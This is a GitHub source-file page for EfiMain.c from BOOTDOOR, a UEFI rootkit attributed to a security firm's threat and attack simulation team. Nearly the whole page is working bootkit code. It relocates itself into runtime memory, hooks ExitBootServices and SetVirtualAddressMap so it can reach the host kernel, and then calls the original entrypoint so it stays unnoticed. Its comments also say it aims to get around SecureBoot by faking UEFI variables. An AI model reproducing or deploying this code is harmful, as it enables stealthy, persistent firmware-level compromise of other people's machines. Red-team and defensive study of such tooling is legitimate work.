-
Notifications
You must be signed in to change notification settings - Fork 26
/
EfiMain.c
83 lines (70 loc) · 2.42 KB
/
EfiMain.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/*!
*
* BOOTDOOR
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation Team
*
!*/
#include "Common.h"
/*!
*
* Purpose:
*
* BOOTDOOR rootkit entrypoint. Installs a hook on
* ExitBootServices to transition to the kernel of
* the host.
*
* Intended to also support SecureBoot hosts by
* faking UEFI variables.
*
!*/
D_SEC( A ) EFI_STATUS EFIAPI EfiMain( EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE * SystemTable )
{
SIZE_T Len = 0;
EFI_PHYSICAL_ADDRESS Phy = 0;
PCFG Cfg = NULL;
PEFTBL Tbl = NULL;
PRNTBL Rnt = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
Cfg = C_PTR( U_PTR( GetIp( ) ) + 11 );
Len = ( U_PTR( U_PTR( GetIp( ) ) + 11 ) - U_PTR( G_PTR( EfiMain ) ) ) + sizeof( CFG ) + Cfg->Length;
/* Allocate enough memory for the virtual form of the PE */
if ( SystemTable->BootServices->AllocatePages( AllocateAnyPages, EfiRuntimeServicesData, ( ( ( Len + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ) / 0x1000 ), &Phy ) == EFI_SUCCESS ) {
Tbl = C_PTR( G_PTR( EfTbl ) );
Rnt = C_PTR( G_PTR( RnTbl ) );
/* Image Original Function Pointers */
Tbl->ExitBootServices = C_PTR( SystemTable->BootServices->ExitBootServices );
Tbl->SetVirtualAddressMap = C_PTR( SystemTable->RuntimeServices->SetVirtualAddressMap );
/* Image Runtime Pointers */
Rnt->ImageAddrPhy = C_PTR( Phy );
Rnt->ImageAddrVir = C_PTR( NULL );
/* Copy over payload into new runtime region */
__builtin_memcpy( C_PTR( Phy ), C_PTR( G_PTR( EfiMain ) ), Len );
/* Insert hooks into runtime and boot functions */
SystemTable->BootServices->ExitBootServices = C_PTR( U_PTR( U_PTR( Phy ) + ( G_PTR( ExitBootServices ) - G_PTR( EfiMain ) ) ) );
SystemTable->RuntimeServices->SetVirtualAddressMap = C_PTR( U_PTR( U_PTR( Phy ) + ( G_PTR( SetVirtualAddressMap ) - G_PTR( EfiMain ) ) ) );
};
Dos = C_PTR( G_PTR( EfiMain ) );
Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x20 - 1 ) ) );
do {
/* Has the MZ Stub? */
if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) {
/* Less than 0x100 bytes */
if ( Dos->e_lfanew < 0x100 ) {
/* Setup IMAGE_NT_HEADERS and check sig! */
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
if ( Nth->Signature == IMAGE_NT_SIGNATURE ) {
break;
};
};
};
Dos = C_PTR( U_PTR( Dos ) - 0x20 );
} while ( TRUE );
/* Execute original entrypoint to avoid issues */
return ( ( __typeof__( EfiMain ) * ) C_PTR( U_PTR( Dos ) + Cfg->AddressOfEntrypoint ) )(
ImageHandle, SystemTable
);
};